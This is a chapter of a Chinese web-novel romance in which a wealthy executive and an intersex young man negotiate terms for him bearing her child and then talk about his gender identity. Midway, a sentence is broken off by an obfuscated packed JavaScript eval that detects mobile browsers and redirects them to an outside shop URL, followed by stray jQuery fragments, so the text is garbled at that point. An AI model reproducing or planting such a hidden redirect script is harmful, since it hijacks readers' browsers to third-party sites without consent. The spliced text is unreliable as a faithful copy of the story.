负一楼健身房里，盛春临在用各种器械，何野在跑步机上慢走，太久没有运动过，这对他已经是极限。


    “来帮我拉弹力带。”


    盛春临半蹲着，用弹力带崩住自己的小腿，弹力带的另一端交到何野手里，盛春临开始运动，锻炼腰腹。


    两人的距离不过三十厘米，何野之前没见识过这种锻炼方法，只是老实地拉着弹力带。


    “你其实可以不用躲着我，我不会强迫你。”


    “……我知道。”何野坐在储物箱上，抬头仰视着盛春临，“只是最近有些忙。”


    “在忙什么？”


    “在做手账，用你给我买的那些胶带。”何野最近喜欢上手账，把自己的小心思全写到本子里。


    构建起自己的世界，


    这让人上瘾。


    盛春临微微颌首没有回答，显然对自己的安排很满意。


    何野抿了抿嘴，接着又说：“盛总，生命是很珍贵的，我还没想好。”


    “那就慢慢想，一个月想不明白就两个月。”


    “有些事不是光靠想象就可以解决。”


    “我能给你的，远比你想象得多。”


    “要爱也可以吗？”


    “当然。”


    “如果想了两个月最后还是拒绝呢？”


    “头上的伤还痛不痛？”盛春临没有回答，转而问起别的。


    何野摇摇头，伤口其实不算大，只是当时看着狰狞。


    “那天发生的事，程芳姐都跟你说了？”


    “家里有监控。”盛春临淡然地说。


    何野哑口无言，自己那天说的话也都被盛春临听到了……


    “你会不会觉得我很虚伪。”何野是肯定语气，与盛春临发生过这么多让人尴尬的事情，他不会再像之前那样慌乱。


    “不，我确实对你很好，你那样说我很开心，这跟我们的合作方向是一样的。但下次可以不用这样伤害自己的方式来示弱。”


    “你知道盛行之喜欢你么？”


    “他只是分不清自己的感情，算不上喜欢。”盛春临不承认这份感情，但她是知道的。


    见何野又是沉默，盛春临有些不爽地开口：


    “何野，你好像并不喜欢我，我们之间像是，我在追你。”


    怎么可能？


    他每天只有想着盛春临才能睡着，盛春临就是他围绕着的世界。


    他真的不知道该怎么做，他不愿自己给盛春临带来麻烦。


    “不，我很喜欢你，可是我不知道我能为你做些什么，你什么都不缺，我不想让你感到烦扰。”


    “你明明知道我缺什么。”盛春临并不在乎何野到底追不追她，她只是需要一个口把话题再度引回来。


    “我需要一个理由。”


    “理由就是我愿意跟你有个孩子，也有能力爱你。”盛春临抛出诱人的条件。


    盛春临并不是个小气的人，也不愿意强人所难。


    “不够，我比你想象的贪心得多。”明白盛春临话中的意思，何野难得坚定。


    “那你说。”盛春临拉伸的动作不停。


    何野陷入了思考，他想一次性把话说清楚。


    “第一，我需要你在一年内帮我找到我的亲生母亲，确定当年我和母亲分开的原因。


    第二，我需要你真心地爱这个孩子，用自己的能力托举她长大，并且保证你这辈子不会再用自己的身体生孩子。


    三，我想要你爱我，我想成为你唯一的爱人，让我了解你，陪伴你，爱的期限由我来决定。


    第四，无论我们最后结果如何，不可以去伤害雷婵和姘儿。”


    “我答应你。”


    盛春临爽快到让何野有些不好意思，是他条件提的太没有杀伤力了吗？还是盛春临本就是很好的人。


    大概是后者。


    砰！


    手上力气不够，何野整个人跟弹力绳一起奔向盛春临的怀中，两个人一起撞在瑜伽垫上，发出一声闷响。


    “拙劣。”盛春临不管身后的疼痛，锐评怀中人的演技。何野总是这样冒冒失失，在别人面前也这样吗？


    “我没有！”何野无力反驳，只是整个人又红透。


    他的脸正好埋在盛春临胸前，他不愿起来。


    真是让人愤怒，


    为什么自己即便提出这么过分的条件，盛春临还是那么好，何野为自己通过孩子来换取这些资源的行为感到恶心，也对自己的爱感到怀疑。


    自己真的爱盛春临吗？


    如果爱掺杂了利用和伪装，这份爱还是爱吗？


    一点温热的湿意透过运动衣触碰到胸前的皮肤，盛春临不明白何野为什么又有情绪，但她秉持着解决问题的想法，等何野平静下来才问。


    “是这些条件还不满意吗？可以再加。”盛春临轻轻拍着何野的后背。


    “不是。”


    “你在害怕什么？”


    “我以后会是一个不合格的父亲。”


    何野的反应在盛春临意料之中，她还算满意，何野如果能爱这个孩子，对孩子负责，当然是更好。


    “不，你明明是很合格，”盛春临显然比何野更清醒。


    “你给了她一个足够优秀的母亲。


    即使国内的企业全倒了，长盛集团也不会倒。即便你不愿意做他的父亲，还会有无数个人前仆后继的争做他的父亲，她不会缺爱。


    自她出生，世界将为她展开，她想要的都会来到她身边。


    我盛春临的孩子，她会庆幸自己来到这个世界。”


    “生完孩子后，你会怎么对我？”何野没底气地说，许是盛春临的话真的打动了他。


    盛春临说的是对的，何野活了这么久，他不可能不明白。


    “给你安排最好的护理，陪在你身边，后续我们怎么相处都由你来决定，我想我会尊重你。”


    “如果你中途后悔了怎么办？”


    “我不会后悔，但为了让你安心，如果真的出现这种情况，我会给你5000万，并帮你配置好投资，让你这辈子衣食无忧。”盛春临缓缓开口，这条件实在有诱惑力。


    她真是一个负责的好人。


    何野突然就明白为什么那么多人费尽心思爬到盛春临的枕边了。


    “既然能说出来，就说明还是有后悔的可能。”何野虚荣的情绪达到了巅峰，他想跟盛春临闹别扭，或许他需要盛春临来哄哄他。


    “那你呢，如果你中途后悔了，怎么办？”


    “我不知道，盛总觉得要怎么做？”


    “我不喜欢不诚信的人，想清楚再答应我，我不希望你后悔。”


    盛春临说什么都像情话，这让何野更无奈。


    “是不希望我后悔，还是怕自己的利益受到损失。”


    “如果你觉得没安全感，我们可以先尝试一段时间，给我机会让我来实现你的想法，你来做这个家的男主人。”盛春临低头，顺手捏了捏何野的耳垂。


    “啊……”何野有些失神，“盛总，这样我该怎么拒绝你。”


    我只是一个有子宫的人罢了，又恰好你的恩惠找到了我，没有子宫的话，我对你来说，没有任何的价值。


    或许我该感谢我的身体。


    我又该怎么去奢望。


    “可以叫我春临。”盛春临把何野从自己的身上抱起来，顺势也坐起来，何野一米八的个子碰上盛春临倒也不算困难。


    “春临，你的胸肌很硬。”何野把头靠在盛春临胸口，开始胡言乱语。


    “喜欢的话，可以用手摸。”见何野装作乖顺，盛春临拉着他的手就往自己胸上放。


    像碰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217263|196488||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到烫手山药一样，何野赶紧收回手，但又实在不舍，只用指尖轻轻触碰。


    “好不真实，我想我该冷静一下了。”


    “行之那边，你想让他怎么向你道歉。”


    何野摇了摇头，“我没想过，他生气也是合理的，本身就是我最开始骗了他。”


    “那我按照我的方法来了。”


    “好。”


    盛春临雷厉风行，前脚刚答应好何野，后脚就让棠溪书安排好一切，棠溪书被盛春临惊掉了下巴，但还是迅速完成盛春临安排的任务。


    什么？


    何野是双性人？


    盛总让何野给她生个孩子？


    何野答应给盛总生个孩子？


    棠溪书世界观重塑中……


    何野在做手账，盛春临在一旁陪着他，安静地处理工作。


    妇唱夫随。


    “春临，看我今天做的。”


    “真漂亮，这是你的天赋。”盛春临平时对这些接触的不多，但她总归是要夸夸何野的，“你可以把这些过程拍摄下来，做成视频发到网上，会有人喜欢的。”


    “我还从来没这样想过。”


    “可以让溪书帮你买设备，她会这些，让她来教你。”


    获得别人的认可和赞美有时可以让人感到幸福，感到幸福对身体好。


    盛春临也明白，何野不能只是闲在家中，这对他不健康。


    “棠小姐好全能。”何野由衷地感叹。


    “对了，何野，我有一个问题想问你，”盛春临顿了顿接着又说：


    “你觉得自己是女人还是男人，或者中间？”


    何野的回答并不会影响盛春临的计划，只是盛春临此时早已把自己放进完美爱人的身份中，她认为自己理应尊重何野的想法。


    尊重并不代表支持，不支持也不代表反对。


    负责是一个美好的品德，盛春临是其拥有者中的显著代表。


    盛春临的话问住了何野，他一时怔住，不自觉地皱着眉思考。


    一直以男性身份生活是因为没有选择，可是何野心里是怎么想的呢？


    “我……我不知道。”


    “你的感受是怎样，可以跟我分享。”


    “如果可以，我想成为女人，但我从小就是按照一个男人的身份生活，或许不配当做一个女人。可我也并不想成为一个男人，我跟他们不一样，我不想跟他们一样。中间？中间是什么呢？不女不男吗？可以这样吗？”


    盛春临对何野说的前半段话表示认可，女人生下来一定有子宫，可有子宫的不一定是女人。


    何野在她心里显然是后者。


    “嗯，我并不是逼你做选择，如果你有更多的想法，我愿意尊重你，无论你是什么样，我都会陪伴你，支持你。”这些话实在动听，从盛春临口中说出，更是如冬日蜜糖。


    “那春临觉得我是什么情况？”


    何野向盛春临投去求助的眼神，之前从来没有人跟他问过这些，他实在不知道该如何回答。


    “不必局限在女男的定义上，可以试着以不同的社会身份生活，你的身体给了你更多的机会和可能。”


    “什么？”盛春临的话让何野一时理解不过来。


    “把自己当个人，经历过男性身份的生活，你也可以去做那些很多女人做过的事，不过，何野，做美甲的不是女人，穿裙子的也不是女人，性别只是由生理决定的，社会对不同性别的期待，你不需要配合。”


    见何野还有些懵，盛春临伸出手摸了摸何野的脸，继续开口：


    “女人可以力气大，男人也可以做美甲，你正好是最特别的那个。不用急着证明自己，跟随你的本心。”


    “好，谢谢你，春临。”


    无论自己是什么样，只要盛春临在身边，何野就愿意接受。